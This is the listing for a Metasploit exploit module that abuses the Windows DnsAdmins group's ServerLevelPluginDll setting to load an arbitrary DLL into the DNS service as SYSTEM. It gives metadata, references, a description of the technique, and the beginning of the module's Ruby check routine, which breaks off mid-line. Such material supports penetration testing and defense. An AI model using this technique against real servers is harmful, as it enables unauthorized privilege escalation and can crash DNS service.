Metasploit Module: DnsAdmin ServerLevelPluginDll Feature Abuse Privilege Escalation
Type: exploit
Path: modules/exploits/windows/local/dnsadmin_serverlevelplugindll.rb
Platform: win
Disclosure date: 2017-05-08
References: URL-https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83, URL-https://adsecurity.org/?p=4064, URL-http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html

Description:
This module exploits a feature in the DNS service of Windows Server. Users of the DnsAdmins group can set the
          `ServerLevelPluginDll` value using dnscmd.exe to create a registry key at `HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\`
          named `ServerLevelPluginDll` that can be made to point to an arbitrary DLL. After doing so, restarting the service
          will load the DLL and cause it to execute, providing us with SYSTEM privileges. Increasing WfsDelay is recommended
          when using a UNC path.

          Users should note that if the DLLPath variable of this module is set to a UNC share that does not exist,
          the DNS server on the target will not be able to restart. Similarly if a UNC share is not utilized, and
          users instead opt to drop a file onto the disk of the target computer, and this gets picked up by Anti-Virus
          after the timeout specified by `AVTIMEOUT` expires, its possible that the `ServerLevelPluginDll` value of the
          `HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\` key on the target computer may point to an nonexistant DLL,
          which will also prevent the DNS server from being able to restart. Users are advised to refer to the documentation for
          this module for advice on how to resolve this issue should it occur.

          This module has only been tested and confirmed to work on Windows Server 2019 Standard Edition, however it should work against any Windows
          Server version up to and including Windows Server 2019.

Check method (fingerprinting):
version = get_version_info
    if version.windows_server?
      vprint_good('OS seems vulnerable.')
    else
      vprint_error('OS is not vulnerable!')
      return Exploit::CheckCode::Safe("Version #{version} is not vulnerable")
    end

    username = client.sys.config.getuid
    user_sid = client.sys.config.getsid
    hostname = sysinfo['Computer']
    vprint_status("Running check against #{hostname} as user #{username}...")

    srv_info = service_info('DNS')
    if srv_info.nil?
      vprint_error('Unable to enumerate the DNS service!')
      return Exploit::CheckCode::Unknown('Unable to determine target state')
    end

    if srv_info && srv_info[:display].empty?
      vprint_error('The DNS service does not exist on this host!')
      return Exploit::CheckCode::Safe("Version #{version} is not vulnerable")
    end

    # for use during permission check
    if srv_info[:dacl].nil?
      vprint_error('Unable to determine permissions on the DNS service!')
      return Exploit::CheckCode::Unknown('Unable to determine target state')
    end
    dacl_items = srv_info[:dacl].split('D:')[1].scan(/\((.+?)\)/)

    vprint_good("DNS service found on #{hostname}.")

    # user must be a member of the DnsAdmins group to be able to change ServerLevelPluginDll
    group_membership = get_whoami
    unless group_membership
      vprint_error('Unable to enumerate group membership!')
      return Exploit::CheckCode::Unknown('Unable to determine target state')
    end

    unless group_me